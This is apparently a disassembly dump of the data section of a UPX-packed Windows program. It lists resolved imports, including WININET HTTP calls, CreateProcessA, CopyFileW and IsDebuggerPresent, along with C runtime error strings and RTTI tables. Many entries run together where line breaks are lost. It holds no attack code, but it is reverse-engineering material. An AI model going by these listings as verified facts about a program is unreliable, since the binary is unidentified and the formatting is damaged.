dword_41D084	dd 7C82F873h	; resolved to->KERNEL32.CopyFileWdword_41D088	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_41D08C	dd 7C80B9EFh	; resolved to->KERNEL32.lstrcpynW					; sub_409EDC+1r
dword_41D090	dd 7C830789h	; resolved to->KERNEL32.GetTempPathWdword_41D094	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_41D098	dd 7C80A03Bh	; resolved to->KERNEL32.ResetEventdword_41D09C	dd 7C80A6A9h	; resolved to->KERNEL32.CreateEventWdword_41D0A0	dd 7C80A996h	; resolved to->KERNEL32.lstrcmpiW					; sub_407ACF+6Cr ...
dword_41D0A4	dd 7C80EF3Ah	; resolved to->KERNEL32.FindNextFileWdword_41D0A8	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40939B+8r ...
dword_41D0AC	dd 7C80AD7Bh	; resolved to->KERNEL32.GetWindowsDirectoryW					; sub_4173E1+43r
dword_41D0B0	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_40A2BB+21r
dword_41D0B4	dd 7C80978Eh	; resolved to->KERNEL32.InterlockedExchangedword_41D0B8	dd 7C809915h	; resolved to->KERNEL32.GetACP					; sub_411DC7+4Cr
dword_41D0BC	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_415EED+24r
dword_41D0C0	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_41D0C4	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_40AA42+50r
dword_41D0C8	dd 7C8097A2h	; resolved to->KERNEL32.InterlockedCompareExchangedword_41D0CC	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_40A7A4+9Cr ...
dword_41D0D0	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_40A7A4+6Dr ...
dword_41D0D4	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_40A866+28r ...
dword_41D0D8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_40AF6F+61r ...
dword_41D0DC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_413890+28r
dword_41D0E0	dd 7C80AE2Ah	; resolved to->KERNEL32.IsProcessorFeaturePresentdword_41D0E4	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_40D00C+231r
dword_41D0E8	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_40AF6F+B6r ...
dword_41D0EC	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_41D0F0	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41676F+288r
dword_41D0F4	dd 7C80D077h	; resolved to->KERNEL32.CompareStringAdword_41D0F8	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_41D0FC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_41D100	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_414FEE+11Er
dword_41D104	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeAdword_41D108	dd 7C80BBCEh	; resolved to->KERNEL32.FindResourceWdword_41D10C	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_414C04+368r
dword_41D110	dd 7C835484h	; resolved to->KERNEL32.WriteConsoleWdword_41D114	dd 7C81B18Fh	; resolved to->KERNEL32.GetConsoleOutputCPdword_41D118	dd 7C81CF25h	; resolved to->KERNEL32.WriteConsoleAdword_41D11C	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandledword_41D120	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_41D124	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_41D128	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_41D12C	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D130	dd 7C8110CBh	; resolved to->KERNEL32.IsValidCodePagedword_41D134	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_41D138	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_411E43+86r ...
dword_41D13C	dd 7C81AF14h	; resolved to->KERNEL32.GetConsoleModedword_41D140	dd 7C8740E3h	; resolved to->KERNEL32.GetConsoleCPdword_41D144	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_41D148	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_41D14C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_41D150	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_41D154	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_40FA31+1DBr
dword_41D158	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_41D15C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_41D160	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41D164	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsAdword_41D168	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA					; sub_40F8FA+12Ar
dword_41D16C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_41D170	dd 7C8136D7h	; resolved to->KERNEL32.TlsFree					; sub_40E4D8+8Er
dword_41D174	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_40E4D8+61r
dword_41D178	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAlloc					; sub_40E4D8:loc_40E580r
dword_41D17C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValue					; sub_40E143+Cr ...
dword_41D180	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40F83F+2Cr
dword_41D184	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_40FA31+1C9r
dword_41D188	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_41105A+260r ...
dword_41D18C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41D190	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_41D194	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_40FA31+15r
dword_41D198	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_41D19C	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTime					; sub_40FCD1+37r
dword_41D1A0	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_40B8A1+1B5r ...
dword_41D1A4	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileAdword_41D1A8	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresent					; sub_40C52F+BBr
dword_41D1AC	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_40C52F+D0r ...
dword_41D1B0	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter					; sub_40C52F+DBr ...
dword_41D1B4	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_40C52F+FEr
dword_41D1B8	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_41D1BC	dd 7C80EEE1h	; resolved to->KERNEL32.FindFirstFileWdword_41D1C0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_4173E1+18Ar
dword_41D1C4	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_406781+26r ...
dword_41D1C8	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_4072C1+5Br ...
dword_41D1CC	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_401652+59r ...
dword_41D1D0	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_40E316+6Er ...
dword_41D1D4	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_40A2F3+1Cr
dword_41D1D8	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_41D1DC	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_4072C1+20r ...
dword_41D1E0	dd 7C8355BCh	; resolved to->KERNEL32.FlushInstructionCachedword_41D1E4	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfodword_41D1E8	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtectdword_41D1EC	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlock					; sub_418266+148r ...
dword_41D1F0	dd 7C809A09h	; resolved to->KERNEL32.lstrlenW					; sub_401931+3Fr ...
dword_41D1F4	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4078AB+137r ...
dword_41D1F8	dd 7C80A9CCh	; resolved to->KERNEL32.lstrcmpWdword_41D1FC	dd 7C80B3D5h	; resolved to->KERNEL32.GetModuleFileNameW					; sub_4089CE+CDr ...
dword_41D200	dd 7C8097C6h	; resolved to->KERNEL32.MulDiv					; sub_404933+45r
dword_41D204	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_40783F+45r ...
dword_41D208	dd 7C80FD2Dh	; resolved to->KERNEL32.GlobalAlloc					; sub_418266+116r ...
dword_41D20C	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_41D210	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock					; sub_418266+12Er ...
dword_41D214	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_40B12D+10Er ...
dword_41D218	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_40504A+Ar ...
dword_41D21C	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_405039+8r ...
dword_41D220	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_414C04+146r ...
dword_41D224	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 0
dword_41D22C	dd 771502FAh	dword_41D230	dd 77129D3Eh	dword_41D234	dd 77124C05h						; sub_40120D+2Dr ...
dword_41D238	dd 77124C7Eh						; sub_401260+43r ...
dword_41D23C	dd 77124920h						; sub_401304+21r ...
dword_41D240	dd 771279E5h	dword_41D244	dd 77124C98h	dword_41D248	dd 77124980h	dword_41D24C	dd 7713AA0Dh	dword_41D250	dd 77124BA7h						; sub_4016D2+B8r
dword_41D254	dd 77144BC4h	dword_41D258	dd 77124CFAh						; sub_417FE1+DBr
dword_41D25C	dd 77124880h						; UPX0:004012F5r ...
		dd 0
dword_41D264	dd 7CA21B92h						; sub_409EDC+7Dr
		dd 0
dword_41D26C	dd 7E418A01h	; resolved to->USER32.DispatchMessageW					; UPX0:004094A7r ...
dword_41D270	dd 7E41DBECh	; resolved to->USER32.MoveWindow					; sub_417C70+1F9r
dword_41D274	dd 7E41BC7Dh	; resolved to->USER32.GetWindowdword_41D278	dd 7E41B33Ch	; resolved to->USER32.DefWindowProcW					; sub_4044BB+28r ...
dword_41D27C	dd 7E41C64Ah	; resolved to->USER32.CallWindowProcW					; sub_403F49+15r ...
dword_41D280	dd 7E41BC36h	; resolved to->USER32.SetWindowTextW					; sub_418186+AAr ...
dword_41D284	dd 7E41BE71h	; resolved to->USER32.EnableWindow					; sub_418186+D1r
dword_41D288	dd 7E41B8BAh	; resolved to->USER32.SendMessageW					; sub_404C9D+2Cr ...
dword_41D28C	dd 7E41D6EAh	; resolved to->USER32.ReleaseCapturedword_41D290	dd 7E41FC25h	; resolved to->USER32.CreateWindowExW					; sub_409CE5+2Br ...
dword_41D294	dd 7E41B933h	; resolved to->USER32.IsWindow					; UPX0:00402BFDr ...
dword_41D298	dd 7E41D8A4h	; resolved to->USER32.ShowWindow					; sub_4092D7+8Br ...
dword_41D29C	dd 7E41EDDAh	; resolved to->USER32.SetLayeredWindowAttributesdword_41D2A0	dd 7E41BD76h	; resolved to->USER32.GetCursorPosdword_41D2A4	dd 7E41C01Bh	; resolved to->USER32.SetWindowPos					; sub_417C70+16Ar
dword_41D2A8	dd 7E418E78h	; resolved to->USER32.GetSysColor					; UPX0:loc_402C3Br
dword_41D2AC	dd 7E41EED5h	; resolved to->USER32.GetDesktopWindow					; sub_417C70+5Cr
dword_41D2B0	dd 7E41BF6Ch	; resolved to->USER32.RedrawWindow					; UPX0:00402BEFr ...
dword_41D2B4	dd 7E41D62Bh	; resolved to->USER32.SetWindowLongW					; sub_404477+20r ...
dword_41D2B8	dd 7E423DCEh	; resolved to->USER32.GetDlgItemdword_41D2BC	dd 7E41869Dh	; resolved to->USER32.ReleaseDC					; UPX0:00403A8Cr ...
dword_41D2C0	dd 7E41C33Ah	; resolved to->USER32.GetClassNameWdword_41D2C4	dd 7E419F06h	; resolved to->USER32.SystemParametersInfoWdword_41D2C8	dd 7E41CDB6h	; resolved to->USER32.GetWindowTextW					; sub_4184BE+EAr
dword_41D2CC	dd 7E4188A6h	; resolved to->USER32.GetWindowLongW					; sub_4044BB+Er ...
dword_41D2D0	dd 7E41B5F5h	; resolved to->USER32.InvalidateRectdword_41D2D4	dd 7E41AF7Fh	; resolved to->USER32.RegisterClassExW					; sub_404725+162r ...
dword_41D2D8	dd 7E418BF6h	; resolved to->USER32.TranslateMessage					; UPX0:0040947Dr ...
dword_41D2DC	dd 7E4186C7h	; resolved to->USER32.GetDC					; sub_40366A+DFr ...
dword_41D2E0	dd 7E421656h	; resolved to->USER32.UnregisterClassAdword_41D2E4	dd 7E42E1D1h	; resolved to->USER32.PostQuitMessagedword_41D2E8	dd 7E41DB9Ah	; resolved to->USER32.CharLowerWdword_41D2EC	dd 7E4222BCh	; resolved to->USER32.CreateIconIndirect					; sub_409FB8+D1r ...
dword_41D2F0	dd 7E41929Bh	; resolved to->USER32.PeekMessageW					; UPX0:004094B6r ...
dword_41D2F4	dd 7E46630Ah	; resolved to->USER32.MessageBoxWdword_41D2F8	dd 7E41EF3Dh	; resolved to->USER32.DestroyIcon					; sub_409FB8+101r ...
dword_41D2FC	dd 7E41B61Dh	; resolved to->USER32.EndPaintdword_41D300	dd 7E41C188h	; resolved to->USER32.ClientToScreendword_41D304	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_404EC4+30r ...
dword_41D308	dd 7E423E99h	; resolved to->USER32.GetWindowTextLengthW					; sub_4184BE+8Er
dword_41D30C	dd 7E43FE55h	; resolved to->USER32.DestroyAcceleratorTabledword_41D310	dd 7E41BDC8h	; resolved to->USER32.ScreenToClientdword_41D314	dd 7E41B6D4h	; resolved to->USER32.GetWindowRectdword_41D318	dd 7E4191C6h	; resolved to->USER32.GetMessageWdword_41D31C	dd 7E41DAFEh	; resolved to->USER32.CharNextW					; sub_407B63+11r ...
dword_41D320	dd 7E41AF34h	; resolved to->USER32.RegisterWindowMessageWdword_41D324	dd 7E41C257h	; resolved to->USER32.FillRect					; sub_402874+104r ...
dword_41D328	dd 7E41970Eh	; resolved to->USER32.IsChilddword_41D32C	dd 7E41D6CEh	; resolved to->USER32.SetCapturedword_41D330	dd 7E418CCBh	; resolved to->USER32.PostMessageW					; UPX0:00417A44r ...
dword_41D334	dd 7E423D4Dh	; resolved to->USER32.SetForegroundWindow					; sub_418186+BCr
dword_41D338	dd 7E41BEF0h	; resolved to->USER32.GetFocusdword_41D33C	dd 7E41B72Fh	; resolved to->USER32.GetParent					; UPX0:00403BEAr ...
dword_41D340	dd 7E41EDC6h	; resolved to->USER32.InvalidateRgndword_41D344	dd 7E419D69h	; resolved to->USER32.LoadCursorW					; sub_404725+13Fr ...
dword_41D348	dd 7E41BDA2h	; resolved to->USER32.IsWindowEnableddword_41D34C	dd 7E41B6AEh	; resolved to->USER32.GetClientRect					; sub_402874+ABr ...
dword_41D350	dd 7E42D3C1h	; resolved to->USER32.CreateAcceleratorTableWdword_41D354	dd 7E41DA60h	; resolved to->USER32.SetFocus					; sub_41889D+174r
dword_41D358	dd 7E41B609h	; resolved to->USER32.BeginPaint					; sub_402874+91r
dword_41D35C	dd 7E426FA8h	; resolved to->USER32.GetClassInfoExW					; sub_404725+FEr ...
		dd 0
dword_41D364	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_417173+1C2r ...
dword_41D368	dd 42C40FB1h	; resolved to->WININET.DeleteUrlCacheEntryWdword_41D36C	dd 42C2AE35h	; resolved to->WININET.InternetQueryDataAvailabledword_41D370	dd 42C2ABF4h	; resolved to->WININET.InternetReadFiledword_41D374	dd 42C25BE0h	; resolved to->WININET.InternetConnectWdword_41D378	dd 42C4103Dh	; resolved to->WININET.HttpSendRequestWdword_41D37C	dd 42C2CED1h	; resolved to->WININET.InternetOpenWdword_41D380	dd 42C25DBAh	; resolved to->WININET.HttpOpenRequestW		align 8
dword_41D388	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup		align 10h
dword_41D390	dd 77556DC6h	dword_41D394	dd 775C8876h						; UPX0:00403CDCr
dword_41D398	dd 774FFAC3h						; sub_417A85:loc_417B3Ar ...
dword_41D39C	dd 774FD02Ch						; sub_4080FF+6Fr ...
dword_41D3A0	dd 775242CCh	dword_41D3A4	dd 7750CB9Ch	dword_41D3A8	dd 77506410h						; sub_418266+155r ...
dword_41D3AC	dd 774FDE02h	dword_41D3B0	dd 774FF6DAh						; sub_4184BE+85r
dword_41D3B4	dd 77533373h						; sub_4184BE:loc_418535r
dword_41D3B8	dd 77515DB2h	dword_41D3BC	dd 774FD048h						; sub_403293+7Cr ...
dword_41D3C0	dd 774FEE36h	dword_41D3C4	dd 775329DEh	dword_41D3C8	dd 77502A37h	dword_41D3CC	dd 77556EB6h			dd 0
dword_41D3D4	dd 42D77858h			dd 0
dword_41D3DC	dd 0				dd offset loc_41C84A
		dd offset loc_41C860
		dd offset loc_41C876
		dd offset loc_41C7E3
		dd offset loc_41C82D
dword_41D3F4	dd 0		dword_41D3F8	dd 0				dd offset byte_40B703
		dd offset sub_40FEFF
		dd offset sub_41191C
		dd offset sub_4121C2
		dd offset sub_40F3FA
dword_41D410	dd 0		dword_41D414	dd 0				dd offset sub_415CEC
		dd offset sub_4119CD
dword_41D420	dd 0		dword_41D424	dd 0		dword_41D428	dd 2 dup(0)	dword_41D430	dd 117h, 0						; sub_4178EC+19o
		dd 0C0h, 46000000h
dword_41D440	dd 4 dup(0)						; UPX0:00402B6Co ...
dword_41D450	dd 323h, 0			dd 0C0h, 46000000h
aInterlockedpop	db 'InterlockedPopEntrySList',0 ; DATA XREF: sub_40A7A4+39o
		align 4
aInterlockedpus	db 'InterlockedPushEntrySList',0 ; DATA XREF: sub_40A7A4+31o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40A7A4+18o
		align 4
		dd 0B62F5910h, 11D16528h, 1196h, 0D0D1EF8h
dword_41D4B8	dd 394C3DE0h, 11D23C6Fh, 0C0007B81h, 0B77A794Fhdword_41D4C8	dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 425B1Ch
					; DATA XREF: UPX0:0042A004o
					; UPX0:0042A008o ...
off_41D4DC	dd offset loc_4049A7	; DATA XREF: sub_40499Co
					; UPX0:004049AAo ...
		dd offset sub_40AD9A
		dd offset dword_425AD0
off_41D4E8	dd offset loc_404A61	; DATA XREF: sub_404A01+20o
					; sub_404A36+Ao ...
		dd offset sub_404A53
		dd offset dword_425A80
off_41D4F4	dd offset loc_404AA0	; DATA XREF: sub_404A7D+Co sub_404A95o ...
		dd offset sub_404A53
		dd offset dword_425A30
off_41D500	dd offset loc_404AE5	; DATA XREF: sub_404AC2+Co sub_404ADAo ...
		dd offset sub_404A53
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_40AB96+Co
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_40ABCE+Co
		dd offset dword_424DB8
off_41D534	dd offset sub_40ADA7	; DATA XREF: sub_40ACA6+Ao
					; sub_40ACB7+Do ...
		dd offset sub_40AD9A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_40AD9A+7o
		align 10h
aSetthreadstack	db 'SetThreadStackGuarantee',0 ; DATA XREF: sub_40AF6F+5Bo
aKernel32_dll:				; DATA XREF: sub_40AF6F+4Ao
		unicode	0, <kernel32.dll>,0
		align 4
		dd offset dword_424DCC
off_41D588	dd offset sub_40B403	; DATA XREF: sub_40B3F3+3o
					; UPX0:off_42A014o ...
dword_41D58C	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41D5AC	dd offset dword_42E400	; DATA XREF: sub_40C52F+D6o
		dd offset dword_42E458
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_40DAF9+14o
		align 4
aMscoree_dll:				; DATA XREF: sub_40DAF9+5o
		unicode	0, <mscoree.dll>,0
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 10h
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 10h
aSingError	db 'SING error',0Dh,0Ah,0
		align 10h
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6034AnApplica	db 'R6034',0Dh,0Ah
		db 'An application has made an attempt to load the C runtime library '
		db 'incorrectly.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6033AttemptTo	db 'R6033',0Dh,0Ah
		db '- Attempt to use MSIL code from this assembly during native code '
		db 'initialization',0Ah
		db 'This indicates a bug in your application. It is most likely the r'
		db 'esult of calling an MSIL-compiled (/clr) function from a native c'
		db 'onstructor or from DllMain.',0Dh,0Ah,0
		align 4
aR6032NotEnough	db 'R6032',0Dh,0Ah
		db '- not enough space for locale information',0Dh,0Ah,0
		align 10h
aR6031AttemptTo	db 'R6031',0Dh,0Ah
		db '- Attempt to initialize the CRT more than once.',0Ah
		db 'This indicates a bug in your application.',0Dh,0Ah,0
		align 4
aR6030CrtNotIni	db 'R6030',0Dh,0Ah
		db '- CRT not initialized',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: UPX0:off_42A2E4o
		db '- floating point support not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_40DDD8+164o
		align 10h
asc_41DB60	db 0Ah			; DATA XREF: sub_40DDD8:loc_40DEF2o
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: sub_40DDD8+F2o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_40DDD8+ADo
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_40DDD8+65o
		db 0Ah
		db 'Program: ',0
		align 4
aEncodepointer	db 'EncodePointer',0    ; DATA XREF: sub_40E0C8:loc_40E11Co
					; sub_40E22F+3Ao
		align 4
off_41DBAC	dd offset byte_45004B	; DATA XREF: sub_40E0C8:loc_40E101o
					; sub_40E143:loc_40E17Co ...
aRnel32_dll:
		unicode	0, <RNEL32.DLL>,0
		align 4
aDecodepointer	db 'DecodePointer',0    ; DATA XREF: sub_40E143:loc_40E197o
					; sub_40E22F+4Eo
		align 4
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_40E4D8+4Do
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_40E4D8+40o
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_40E4D8+33o
aFlsalloc	db 'FlsAlloc',0         ; DATA XREF: sub_40E4D8+2Bo
		align 4
a_com		db '.com',0             ; DATA XREF: UPX0:off_42A3CCo
		align 4
a_exe		db '.exe',0             ; DATA XREF: UPX0:0042A3C8o
		align 4
a_bat		db '.bat',0             ; DATA XREF: UPX0:0042A3C4o
		align 4
a_cmd		db '.cmd',0             ; DATA XREF: UPX0:off_42A3C0o
		align 4
a__0		db '.\',0               ; DATA XREF: sub_40ED0F+A4o
		align 4
dword_41DC28	dd 0C0000005h, 0Bh, 0					; sub_40E3A9+7Co
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
off_41DCA0	dd offset sub_4103CB	; DATA XREF: sub_40BE20+EAr
					; sub_40BE20+F3o ...
		dd offset dword_424E14
off_41DCA8	dd offset sub_4101D6	; DATA XREF: sub_4101AD+11o
					; UPX0:004101CBo ...
		dd offset sub_40AD9A
dword_41DCB0	dd 20646162h, 65637865h, 6F697470h, 6Eh, 4030201h, 8070605h
					; DATA XREF: sub_410A1C+14Do
		dd 0C0B0A09h, 100F0E0Dh, 14131211h, 18171615h, 1C1B1A19h
		dd 201F1E1Dh, 24232221h, 28272625h, 2C2B2A29h, 302F2E2Dh
		dd 34333231h, 38373635h, 3C3B3A39h, 403F3E3Dh, 44434241h
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 7F7E7Dh
dword_41DD40	dd 3Dh							; UPX0:0041E410o
aNull:					; DATA XREF: UPX0:off_42ACECo
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: UPX0:off_42ACE8o
		align 10h
		dd 6000006h, 100h, 6030010h, 10020600h,	45454504h, 5050505h
		dd 303505h, 50h, 38202800h, 8075850h, 30303700h, 75057h
		dd 8202000h, 0
		dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_413890+9Do
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_413890+7Eo
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_413890+69o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_413890+54o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_413890+3Eo
aUser32_dll	db 'USER32.DLL',0       ; DATA XREF: sub_413890+23o
		align 4
aCompleteObject	db ' Complete Object Locator',27h,0 ; DATA XREF: UPX0:0041E404o
		align 4
aClassHierarchy	db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: UPX0:0041E400o
		align 4
aBaseClassArray	db ' Base Class Array',27h,0 ; DATA XREF: UPX0:0041E3FCo
		align 4
aBaseClassDescr	db ' Base Class Descriptor at (',0 ; DATA XREF: UPX0:0041E3F8o
aTypeDescriptor	db ' Type Descriptor',27h,0 ; DATA XREF: UPX0:0041E3F4o
		align 4
aLocalStaticThr	db '`local static thread guard',27h,0 ; DATA XREF: UPX0:0041E540o
aManagedVectorC	db '`managed vector copy constructor iterator',27h,0
					; DATA XREF: UPX0:0041E53Co
		align 4
aVectorVbaseCop	db '`vector vbase copy constructor iterator',27h,0
					; DATA XREF: UPX0:0041E538o
		align 10h
aVectorCopyCons	db '`vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E534o
		align 4
aDynamicAtexitD	db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: UPX0:0041E530o
		align 4
aDynamicInitial	db '`dynamic initializer for ',27h,0 ; DATA XREF: UPX0:0041E52Co
		align 4
aEhVectorVbaseC	db '`eh vector vbase copy constructor iterator',27h,0
					; DATA XREF: UPX0:0041E528o
aEhVectorCopyCo	db '`eh vector copy constructor iterator',27h,0 ; DATA XREF: UPX0:0041E524o
		align 4
aManagedVectorD	db '`managed vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E520o
		align 10h
aManagedVecto_0	db '`managed vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E51Co
		align 4
aPlacementDelet	db '`placement delete[] closure',27h,0 ; DATA XREF: UPX0:0041E518o
		align 4
aPlacementDel_0	db '`placement delete closure',27h,0 ; DATA XREF: UPX0:0041E514o
		align 4
aOmniCallsig	db '`omni callsig',27h,0 ; DATA XREF: UPX0:0041E510o
		align 4
aDelete_0	db ' delete[]',0        ; DATA XREF: UPX0:0041E50Co
		align 10h
